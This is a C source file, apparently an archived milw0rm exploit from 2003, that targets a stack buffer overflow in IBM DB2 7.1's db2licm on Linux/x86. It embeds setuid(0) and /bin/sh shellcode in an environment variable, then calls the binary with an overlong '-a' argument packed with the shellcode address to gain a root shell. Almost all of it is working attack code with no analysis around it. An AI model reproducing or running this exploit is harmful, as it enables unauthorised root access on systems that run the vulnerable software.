/* 

	Local Exploit for db2licm 

	IBM db2 v 7.1 Linux/x86 



	vulnerability researched by 

	Juan Manuel Pascual Escriba

	pask at uninet.edu





 */







char sc[]=

"\x31\xc0"      /* begin setuid (0) */

"\x31\xdb"

"\xb0\x17"

"\xcd\x80"



"\xeb\x1f"

"\x5e"

"\x89\x76\x08"

"\x31\xc0"

"\x88\x46\x07"

"\x89\x46\x0c"

"\xb0\x0b"

"\x89\xf3"

"\x8d\x4e\x08"

"\x8d\x56\x0c"

"\xcd\x80"

"\x31\xdb"

"\x89\xd8"

"\x40"

"\xcd\x80"

"\xe8\xdc\xff\xff\xff"

"/bin/sh";





#define STACK_TOP_X86 0xC0000000

#define ALG_MASK 0xfffffff4

#define ADDR 1000

#define DB2LICM "/home/db2inst1/sqllib/adm/db2licm"



#define DFL_ALG 4       



int main(int arc, char **arv){

        char *argv[3];

        char *envp[2];

        unsigned long sc_address, ba=0;

        unsigned char alg = DFL_ALG;

        unsigned long *p;

        unsigned char *q;

        unsigned int i;







        sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - 1;

        printf("shellcode address = 0x%X\n",sc_address);





        if( (sc_address & ALG_MASK) != sc_address ) {

                ba = sc_address - (sc_address & ALG_MASK);

                printf("adding %d trailing bytes to backward align Shellcode to 0x%X\n", ba,

sc_address & ALG_MASK);

                sc_address = STACK_TOP_X86 - 4 - strlen(DB2LICM) - sizeof(sc) - ba - 1;

                printf("new shellcode address = 0x%X\n",sc_address);

        }



        envp[0] = (char*)malloc(sizeof(sc)+strlen("pete=")+1+ba);

        q = envp[0];

        strcpy(q,"pete=");

        q += strlen("pete=");

        memcpy(q,sc,sizeof(sc));

        q += sizeof(sc)-1;

        memset(q,'A',ba);

        q += ba;

        *q = 0;

        envp[1] = 0;



        /* build overflowing arvg[2] */





        printf("using alignment = %d in overflow buffer\n",alg);



        argv[0] = DB2LICM;

	argv[1] = "-a";

        argv[2] = (char*)malloc(ADDR*sizeof(unsigned long)+alg+1);

        memset(argv[2],'A',alg);

        p=(unsigned long*)(argv[2]+alg);

        for(i=0;i<ADDR;i++) {

                *p = sc_address;

                p++;

        };

        *p = 0;

        argv[3] = 0; 



        printf("executing %s ...\n\n",argv[0]);

        execve(argv[0],argv,envp); 





}

// milw0rm.com [2003-09-27]